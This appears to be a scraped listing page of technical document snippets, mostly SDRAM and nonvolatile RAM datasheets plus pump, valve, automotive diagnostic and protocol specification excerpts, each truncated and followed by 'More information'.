PUMPS FOR INDUSTRY. The Vertical Pump Specialists CONTENTS: Introduction & User List. Product Overview. Vertical Process Pumps... PUMPS FOR INDUSTRY CONTENTS: The Vertical Pump Specialists Introduction & User List Product Overview Vertical Process Pumps... Series 600 Vertical Sewage Pumps... Series 700 Vertical Sump Pumps... Series

More information

Arduino-based OBD-II Interface and Data Logger. CS 497 Independent Study Ryan Miller Advisor: Prof. Douglas Comer April 26, 2011

Arduino-based OBD-II Interface and Data Logger. CS 497 Independent Study Ryan Miller Advisor: Prof. Douglas Comer April 26, 2011 Arduino-based OBD-II Interface and Data Logger CS 497 Independent Study Ryan Miller Advisor: Prof. Douglas Comer April 26, 2011 Arduino Hardware Automotive OBD ISO Interface Software Arduino Italy 2005

More information

ESMT M52S32162A. Operation Temperature Condition -40 C ~85 C. Revision History : Revision 1.0 (Jul. 25, 2007) - Original

ESMT M52S32162A. Operation Temperature Condition -40 C ~85 C. Revision History : Revision 1.0 (Jul. 25, 2007) - Original Revision History : Revision 1.0 (Jul. 25, 2007) - Original Revision : 1.0 1/30 SDRAM 1M x 16Bit x 2Banks Synchronous DRAM FEATURES 2.5V power supply LVCMOS compatible with multiplexed address Dual banks

More information

2 T0 T1 T T T T T CLK.......... ADDRESS Row Addr. Col. Addr........... Row Addr. Row Addr. t RCD t RRD COMMAND Write A NOP NOP with Auto.......... Precharge NOP : H or L t RC T0 T1 T2

More information

ESMT M52D32321A. Revision History : Revision 1.0 (Nov. 02, 2006) -Original. Revision 1.1 (Mar. 02, 2007) - Delete BGA ball name of packing dimensions

ESMT M52D32321A. Revision History : Revision 1.0 (Nov. 02, 2006) -Original. Revision 1.1 (Mar. 02, 2007) - Delete BGA ball name of packing dimensions Revision History : Revision 1.0 (Nov. 02, 2006) -Original Revision 1.1 (Mar. 02, 2007) - Delete BGA ball name of packing dimensions Revision 1.2 (May. 03, 2007) - Modify DC Characteristics Revision 1.3

More information

PMS306416C. Document Title. 64Mb (4Mb x 16) SDRAM (C die) Datasheet

PMS306416C. Document Title. 64Mb (4Mb x 16) SDRAM (C die) Datasheet Document Title 64Mb (4Mb x 16) SDRAM (C die) Datasheet This document is a general product description and subject to change without notice. 64MBIT SDRAM Features JEDEC SDR Compliant All signals referenced

More information

Vacuum generator. Operating instructions a [ ]

Vacuum generator. Operating instructions a [ ] Vacuum generator OVEM- -LK en Operating instructions 8069089 1702a [8069091] Original instructions OVEM- -LK-DE Identification of hazards and instructions on how to prevent them: Warning Hazards that can

More information

Direct solenoid and solenoid pilot operated valves

Direct solenoid and solenoid pilot operated valves Direct solenoid and solenoid pilot operated valves Individual mounting Series Inline Manual operator Solenoid 4-way pilot with balanced poppet Inlet (1) Exhaust (3) Cylinder () 33 34 36 3 37 38 5 67 69

More information

IS42S32200C1. 512K Bits x 32 Bits x 4 Banks (64-MBIT) SYNCHRONOUS DYNAMIC RAM

IS42S32200C1. 512K Bits x 32 Bits x 4 Banks (64-MBIT) SYNCHRONOUS DYNAMIC RAM 512K Bits x 32 Bits x 4 Banks (64-MBIT) SYNCHRONOUS DYNAMIC RAM JANUARY 2007 FEATURES Clock frequency: 183, 166, 143 MHz Fully synchronous; all signals referenced to a positive clock edge Internal bank

More information

DAT105: Computer Architecture Study Period 2, 2009 Exercise 2 Chapter 2: Instruction-Level Parallelism and Its Exploitation

DAT105: Computer Architecture Study Period 2, 2009 Exercise 2 Chapter 2: Instruction-Level Parallelism and Its Exploitation Study Period 2, 29 Exercise 2 Chapter 2: Instruction-Level Parallelism and Its Exploitation Mafijul Islam Department of Computer Science and Engineering November 12, 29 Study Period 2, 29 Goals: To understand

More information

EV Powercharger CAN protocol

EV Powercharger CAN protocol Created Last saved Printed evision Document No. Prepared by Approved by 2010-02-18 2010-07-02 2011-02-22 1 2086930 Stian Abelsen Arild Sagebø EV Powercharger CAN protocol Table of contents 1 CAN... 3 1.1

More information

ESMT M12L A (2A) SDRAM. 4M x 16 Bit x 4 Banks Synchronous DRAM ORDERING INFORMATION FEATURES GENERAL DESCRIPTION

ESMT M12L A (2A) SDRAM. 4M x 16 Bit x 4 Banks Synchronous DRAM ORDERING INFORMATION FEATURES GENERAL DESCRIPTION SDRAM 4M x 16 Bit x 4 Banks Synchronous DRAM FEATURES JEDEC standard 3.3V power supply LVTTL compatible with multiplexed address Four banks operation MRS cycle with address key programs - CAS Latency (

More information

DS1245Y/AB 1024k Nonvolatile SRAM

DS1245Y/AB 1024k Nonvolatile SRAM www.maxim-ic.com FEATURES 10 years minimum data retention in the absence of external power Data is automatically protected during power loss Replaces 128k x 8 volatile static RAM, EEPROM or Flash memory

More information

DS1743/DS1743P Y2K-Compliant, Nonvolatile Timekeeping RAMs

DS1743/DS1743P Y2K-Compliant, Nonvolatile Timekeeping RAMs DS1743/DS1743P Y2K-Compliant, Nonvolatile Timekeeping RAMs FEATURES Integrated NV SRAM, Real-Time Clock, Crystal, Power-Fail Control Circuit, and Lithium Energy Source Clock Registers are Accessed Identically

More information

DATA SHEET. 512M bits SDRAM. EDS5104ABTA (128M words 4 bits) EDS5108ABTA (64M words 8 bits) EDS5116ABTA (32M words 16 bits) EOL Product VDD NC DQ0

DATA SHEET. 512M bits SDRAM. EDS5104ABTA (128M words 4 bits) EDS5108ABTA (64M words 8 bits) EDS5116ABTA (32M words 16 bits) EOL Product VDD NC DQ0 DATA SHEET 512M bits SDRAM EDS5104ABTA (128M words 4 bits) EDS5108ABTA (64M words 8 bits) EDS5116ABTA (32M words 16 bits) Description The EDS5104AB is a 512M bits SDRAM organized as 33,554,432 words 4

More information

OKI Semiconductor MD56V82160

OKI Semiconductor MD56V82160 4-Bank 4,194,304-Word 16-Bit SYNCHRONOUS DYNAMIC RAM FEDD56V82160-01 Issue Date:Feb.14, 2008 DESCRIPTION The is a 4-Bank 4,194,304-word 16-bit Synchronous dynamic RAM. The device operates at 3.3 V. The

More information

SWEP Basic Product Presentation

SWEP Basic Product Presentation SWEP Basic Product Presentation BPHEs for Heating E5AS 72 x 187 mm 2.84 x 7.45 in E5T 72 x 187 mm 2.84 x 7.45 in B5 72 x 187 mm 2.84 x 7.45 in E8T 73 x 315 mm 2.84 x 7.45 in B8T 72 x 310 mm 2.84 x 7.45

More information

ASAM ATX. Automotive Test Exchange Format. XML Schema Reference Guide. Base Standard. Part 2 of 2. Version Date:

ASAM ATX. Automotive Test Exchange Format. XML Schema Reference Guide. Base Standard. Part 2 of 2. Version Date: ASAM ATX Automotive Test Exchange Format Part 2 of 2 Version 1.0.0 Date: 2012-03-16 Base Standard by ASAM e.v., 2012 Disclaimer This document is the copyrighted property of ASAM e.v. Any use is limited

More information

Rotel RSP-1570 RS232 HEX Protocol

Rotel RSP-1570 RS232 HEX Protocol Rotel RSP-1570 RS232 HEX Protocol Date Version Update Description February 3, 2012 1.00 Original Specification The RS232 protocol structure for the RSP-1570 is detailed below. This is a HEX based communication

More information

ESMT M13L32321A -7.5BG2G DDR SDRAM. 512K x 32 Bit x 2 Banks Double Data Rate SDRAM. Features. Ordering Information

ESMT M13L32321A -7.5BG2G DDR SDRAM. 512K x 32 Bit x 2 Banks Double Data Rate SDRAM. Features. Ordering Information DDR SDRAM 512K x 32 Bit x 2 Banks Double Data Rate SDRAM Features Double-data-rate architecture, two data transfers per clock cycle Bi-directional data strobe () Differential clock inputs ( and ) DLL aligns

More information

DIAGNOSTIC TROUBLE CODE (DTC) DEFINITIONS

DIAGNOSTIC TROUBLE CODE (DTC) DEFINITIONS DIAGNOSTIC TROUBLE CODE (DTC) DEFINITIONS NOTE: Use the following table to identify the DTC and find the correct test step for the type of DTC retrieved. DIAGNOSTIC TROUBLE CODE (DTC) DEFINITION Diagnostic

More information

GM - G XXX-XXX. Direct solenoid and solenoid pilot operated valves. Function Port size Flow [Max] Individual mounting. Series 77

GM - G XXX-XXX. Direct solenoid and solenoid pilot operated valves. Function Port size Flow [Max] Individual mounting. Series 77 Direct solenoid and solenoid pilot operated valves Series 77 Function Flow [Max] Individual mounting 3/2 NC, 2/2 NC 1/8-1/4 1.0 Cv Inline OPERATIONAL BENEFITS 1. The 4-way pilot develops maximum shifting

More information

Tabela binarnih kodova

Tabela binarnih kodova Tabela binarnih kodova EBCDIC 0 00 NUL NUL NUL 0000 0000 1 01 SOH SOH SOH 0000 0001 2 02 STX STX STX 0000 0010 3 03 ETX ETX ETX 0000 0011 4 04 SEL EOT EOT 0000 0100 5 05 HT ENQ ENQ 0000 0101 6 06 RNL ACK

More information

DS1250W 3.3V 4096k Nonvolatile SRAM

DS1250W 3.3V 4096k Nonvolatile SRAM 19-5648; Rev 12/10 3.3V 4096k Nonvolatile SRAM www.maxim-ic.com FEATURES 10 years minimum data retention in the absence of external power Data is automatically protected during power loss Replaces 512k

More information

IS42S32200L IS45S32200L

IS42S32200L IS45S32200L IS42S32200L IS45S32200L 512K Bits x 32 Bits x 4 Banks (64-MBIT) SYNCHRONOUS DYNAMIC RAM OCTOBER 2012 FEATURES Clock frequency: 200, 166, 143, 133 MHz Fully synchronous; all signals referenced to a positive

More information

SDRAM Device Operations

SDRAM Device Operations DEVICE OPERATIONS SDRAM Device Operations * Samsung Electronics reserves the right to change products or specification without notice. EECTRONICS DEVICE OPERATIONS A. MODE REGISTER FIED TABE TO PROGRAM

More information

Part No. Organization tck Frequency Package. Part No. Organization tck Frequency Package

Part No. Organization tck Frequency Package. Part No. Organization tck Frequency Package Features Clock frequency: 166, 133 MHz Fully synchronous; all signals referenced to a positive clock edge Four banks operation Single 3.3V power supply LVTTL interface Programmable burst length -- (1,

More information

HYB25D256400B[T/C](L) HYB25D256800B[T/C](L) HYB25D256160B[T/C](L)

HYB25D256400B[T/C](L) HYB25D256800B[T/C](L) HYB25D256160B[T/C](L) Data Sheet, Rev. 1.21, Jul. 2004 HYB25D256400B[T/C](L) HYB25D256800B[T/C](L) HYB25D256160B[T/C](L) 256 Mbit Double Data Rate SDRAM DDR SDRAM Memory Products N e v e r s t o p t h i n k i n g. Edition 2004-07

More information

CAR WAY CO., LTD. CW AB1313 POWER WINDOW REGULATOR W/O MOTOR FRONT RH/LH CW AB1314 CW AB1316 POWER WINDOW REGULATOR W/O MOTOR REAR RH/LH

CAR WAY CO., LTD. CW AB1313 POWER WINDOW REGULATOR W/O MOTOR FRONT RH/LH CW AB1314 CW AB1316 POWER WINDOW REGULATOR W/O MOTOR REAR RH/LH CW AB1312 VENTO CW AB1313 GOLF/GTI/JETTA 93 99 1H0837461A L 1H0837462A R CW AB1314 GOLF/GTI/JETTA 93 99 1H4839461A L 1H4839462A R CW AB1316 JETTA '98 05 /BORA GOLF4 '98 04 1J4839461F L 1J4839462F R 1J4839461A

More information

Examples using gdb. Text shown in bold red is what the user types.

Examples using gdb. Text shown in bold red is what the user types. Examples using gdb. Text shown in bold red is what the user types. Example 1:.section.text.global main.type main, %function main: push {r4-r6, lr} mov r6, #10 sub r4, r6, #1 sub r5, r6, #7 mul r6, r4,

More information

M52D128168A (2E) BALL CONFIGURATION (TOP VIEW) (BGA54, 8mmX8mmX1mm Body, 0.8mm Ball Pitch) VDDQ VDDQ VSSQ DQ6 DQ5 CAS BA0

M52D128168A (2E) BALL CONFIGURATION (TOP VIEW) (BGA54, 8mmX8mmX1mm Body, 0.8mm Ball Pitch) VDDQ VDDQ VSSQ DQ6 DQ5 CAS BA0 Mobile SDRAM 2M x 16 Bit x 4 Banks Mobile Synchronous DRAM FEATURES 1.8V power supply LVCMOS compatible with multiplexed address Four banks operation MRS cycle with address key programs - CAS Latency (2

More information

A48P4616B. 16M X 16 Bit DDR DRAM. Document Title 16M X 16 Bit DDR DRAM. Revision History. AMIC Technology, Corp. Rev. No. History Issue Date Remark

A48P4616B. 16M X 16 Bit DDR DRAM. Document Title 16M X 16 Bit DDR DRAM. Revision History. AMIC Technology, Corp. Rev. No. History Issue Date Remark 16M X 16 Bit DDR DRAM Document Title 16M X 16 Bit DDR DRAM Revision History Rev. No. History Issue Date Remark 1.0 Initial issue January 9, 2014 Final (January, 2014, Version 1.0) AMIC Technology, Corp.

More information

Spare Parts KPC 115-L-U/S, KPC115-L-S

Spare Parts KPC 115-L-U/S, KPC115-L-S KPC 115L-U/S, KPC 115L-S page 1 / 16 Version: V2016-11 1 or 2 5 3 or 4 7 9 7 6 13 13 page 2 / 16 Version: V2016-11 16+17 PT100 42 14 44 43 12 11 10 18 19 13 15 page 3 / 16 Version: V2016-11 number description

More information

STANDARD VENTILATION UNIT (VK)

STANDARD VENTILATION UNIT (VK) VENTILATION TECHNIQUE STANDARD VENTILATION UNIT (VK) Air intake and/or air extraction Flexible, adaptable for every (existing) situation Can be combined with terminal boxes, type DK Models suitable for

More information

DS1250Y/AB 4096k Nonvolatile SRAM

DS1250Y/AB 4096k Nonvolatile SRAM 19-5647; Rev 12/10 www.maxim-ic.com FEATURES 10 years minimum data retention in the absence of external power Data is automatically protected during power loss Replaces 512k x 8 volatile static RAM, EEPROM

More information

PMD706416A. Document Title. 64Mb (4M x 16) DDR SDRAM (A die) Datasheet

PMD706416A. Document Title. 64Mb (4M x 16) DDR SDRAM (A die) Datasheet Document Title 64Mb (4M x 16) DDR SDRAM (A die) Datasheet This document is a general product description and subject to change without notice. 64MBIT DDR DRAM Features JEDEC DDR Compliant Differential

More information

M52D A (2F) BALL CONFIGURATION (TOP VIEW) (BGA54, 8mmX8mmX1mm Body, 0.8mm Ball Pitch)

M52D A (2F) BALL CONFIGURATION (TOP VIEW) (BGA54, 8mmX8mmX1mm Body, 0.8mm Ball Pitch) Mobile SDRAM FEATURES 1.8V power supply LVCMOS compatible with multiplexed address Four banks operation MRS cycle with address key programs - CAS Latency (3) - Burst Length (1, 2, 4, 8 & full page) - Burst

More information

IS42S Meg Bits x 16 Bits x 4 Banks (64-MBIT) SYNCHRONOUS DYNAMIC RAM FEATURES OVERVIEW. PIN CONFIGURATIONS 54-Pin TSOP (Type II)

IS42S Meg Bits x 16 Bits x 4 Banks (64-MBIT) SYNCHRONOUS DYNAMIC RAM FEATURES OVERVIEW. PIN CONFIGURATIONS 54-Pin TSOP (Type II) 1 Meg Bits x 16 Bits x 4 Banks (64-MBIT) SYNCHRONOUS DYNAMIC RAM JANUARY 2008 FEATURES Clock frequency: 166, 143 MHz Fully synchronous; all signals referenced to a positive clock edge Internal bank for

More information

SDR SDRAM. MT48LC32M4A2 8 Meg x 4 x 4 Banks MT48LC16M8A2 4 Meg x 8 x 4 Banks MT48LC8M16A2 2 Meg x 16 x 4 Banks. Features. 128Mb: x4, x8, x16 SDRAM

SDR SDRAM. MT48LC32M4A2 8 Meg x 4 x 4 Banks MT48LC16M8A2 4 Meg x 8 x 4 Banks MT48LC8M16A2 2 Meg x 16 x 4 Banks. Features. 128Mb: x4, x8, x16 SDRAM SDR SDRAM MT48LC32M4A2 8 Meg x 4 x 4 Banks MT48LC16M8A2 4 Meg x 8 x 4 Banks MT48LC8M16A2 2 Meg x 16 x 4 Banks 128Mb: x4, x8, x16 SDRAM Features Features PC100- and PC133-compliant Fully synchronous; all

More information

CS 6354: Tomasulo. 21 September 2016

CS 6354: Tomasulo. 21 September 2016 1 CS 6354: Tomasulo 21 September 2016 To read more 1 This day s paper: Tomasulo, An Efficient Algorithm for Exploiting Multiple Arithmetic Units Supplementary readings: Hennessy and Patterson, Computer

More information

Direct solenoid and solenoid pilot operated valves

Direct solenoid and solenoid pilot operated valves Direct solenoid and solenoid pilot operated valves Individual mounting Series Inline Manual operator Solenoid 4-way pilot with balanced poppet Air return 33 34 36 3 37 38 5 67 69 44 46 4 47 48P SERIES

More information

Vehicle makes models and variants known or believed to be using this vehicle system, required diagnostic lead and degree of known compatibility.

Vehicle makes models and variants known or believed to be using this vehicle system, required diagnostic lead and degree of known compatibility. HELLA CRUISE CONTROL - System Overview This is a tiny ECU which is surprisingly versatile and turns up in lots of different places. Sometimes it co exists with an engine management specific interface ECU

More information

Using Advanced Limit Line Features

Using Advanced Limit Line Features Application Note Using Advanced Limit Line Features MS2717B, MS2718B, MS2719B, MS2723B, MS2724B, MS2034A, MS2036A, and MT8222A Economy Microwave Spectrum Analyzer, Spectrum Master, and BTS Master The limit

More information

Series QP - QPR short-stroke cylinders 1/ Series QP: single and double-acting

Series QP - QPR short-stroke cylinders 1/ Series QP: single and double-acting CATALOGUE > Release 8.7 > Series QP - QPR cylinders Series QP - QPR short-stroke cylinders Series QP: single and double-acting, magnetic Series QPR: double-acting magnetic, non-rotating ø 2, 6, 20, 25,

More information

Fixing the Hyperdrive: Maximizing Rendering Performance on NVIDIA GPUs

Fixing the Hyperdrive: Maximizing Rendering Performance on NVIDIA GPUs Fixing the Hyperdrive: Maximizing Rendering Performance on NVIDIA GPUs Louis Bavoil, Principal Engineer Booth #223 - South Hall www.nvidia.com/gdc Full-Screen Pixel Shader SM TEX L2 DRAM CROP SM = Streaming

More information

TC59SM816/08/04BFT/BFTL-70,-75,-80

TC59SM816/08/04BFT/BFTL-70,-75,-80 TENTATIVE TOSHIBA MOS DIGITAL INTEGRATED CIRCUIT SILICON MONOLITHIC 4,194,304-WORDS 4 BANKS 16-BITS SYHRONOUS DYNAMIC RAM 8,388,608-WORDS 4 BANKS 8-BITS SYHRONOUS DYNAMIC RAM 16,777,216-WORDS 4 BANKS 4-BITS

More information

Tel-Tru Manufacturing Company World-Class Thermometers

Tel-Tru Manufacturing Company World-Class Thermometers Tel-Tru Manufacturing Company World-Class Thermometers We manufacture thermometers - but we sell service, reliability, product quality and performance. QUALITY AND PERFORMANCE FEATURES: CASE AND BEZEL

More information

PQube 3 Modbus Interface

PQube 3 Modbus Interface PQube 3 Modbus Interface Reference manual Revision 1.9 Modbus Interface Reference Manual 1.9- Page 1 Table of Contents 1. Background... 3 2. Basics... 3 2.1 Registers and Coils... 3 2.2 Address Space...

More information

Mobile Low-Power SDR SDRAM

Mobile Low-Power SDR SDRAM Mobile Low-Power SDR SDRAM MT48H8M6LF 2 Meg x 6 x 4 banks MT48H4M32LF Meg x 32 x 4 banks 28Mb: 8 Meg x 6, 4 Meg x 32 Mobile SDRAM Features Features V DD /V D =.7.95V Fully synchronous; all signals registered

More information

USE ZERK FITTING FOR VERTICAL SHAFT POSITIONS ATTACH TO THROW-AWAY PLUG D 1.50

USE ZERK FITTING FOR VERTICAL SHAFT POSITIONS ATTACH TO THROW-AWAY PLUG D 1.50 combo_renewal_parts Page 45 Thursday, October 4, 2004 4:36 PM SOLID SHAFT - SIZES C50-C350.50 SHELL PINION DESIGN 7.5 ONLY 2 3 29 28 27 26 25 24 23 22 5 4 5 6 30 7 8 USE ZERK FITTING FOR VERTICAL SHAFT

More information

DOUBLE DATA RATE (DDR) SDRAM

DOUBLE DATA RATE (DDR) SDRAM UBLE DATA RATE Features VDD = +2.5V ±.2V, VD = +2.5V ±.2V Bidirectional data strobe transmitted/ received with data, i.e., source-synchronous data capture x6 has two one per byte Internal, pipelined double-data-rate

More information

Service Manual Trucks

Service Manual Trucks Service Manual Trucks Group 37 Version 01 Wiring diagram FH12, FH16 LHD To be inserted into the binders for FM, FH. TSP119544 Foreword The descriptions and service procedures contained in this manual are

More information

ORIGINAL PARTS TRi 2014

ORIGINAL PARTS TRi 2014 ORIGINAL PARTS TRi 204 CONTENTS PAGE Cycle part: Part : Frame 2 Part 2: Steering 4 Part 3: Front wheel 6 Part 4: Swing arm 8 Part 5: Rear wheel 0 Part 6: Plastics 2 Part 7: Admission 4 Part 8: Cooler 6

More information

MPC8260 UPM Timing Diagram

MPC8260 UPM Timing Diagram Freescale Semiconductor Application Note Document Number: AN2179 Rev. 2, 07/2006 MPC8260 UPM Timing Diagram The three user-programmable machine (UPMs) of the MPC8260 PowerQUICC II integrated communications

More information

EcoSpec Linear HP INT Wall Wash - Low Power

EcoSpec Linear HP INT Wall Wash - Low Power OVERVIEW / SPECIFICATION Features: EcoSpec Linear HP INT WW - has an impressive array of narrow, medium, wide and elliptical beam angles that provides brilliant results for exterior façade grazing, and

More information

Mobile Low-Power DDR SDRAM MT46H16M16LF 4 Meg x 16 x 4 Banks MT46H8M32LF 2 Meg x 32 x 4 Banks 256Mb: x16, x32 Mobile LPDDR SDRAM Features Features V D

Mobile Low-Power DDR SDRAM MT46H16M16LF 4 Meg x 16 x 4 Banks MT46H8M32LF 2 Meg x 32 x 4 Banks 256Mb: x16, x32 Mobile LPDDR SDRAM Features Features V D Mobile Low-Power DDR SDRAM MT46H6M6LF 4 Meg x 6 x 4 Banks MT46H8M32LF 2 Meg x 32 x 4 Banks Features Features V DD /V DDQ =.7.95V Bidirectional data strobe per byte of data DQS Internal, pipelined double

More information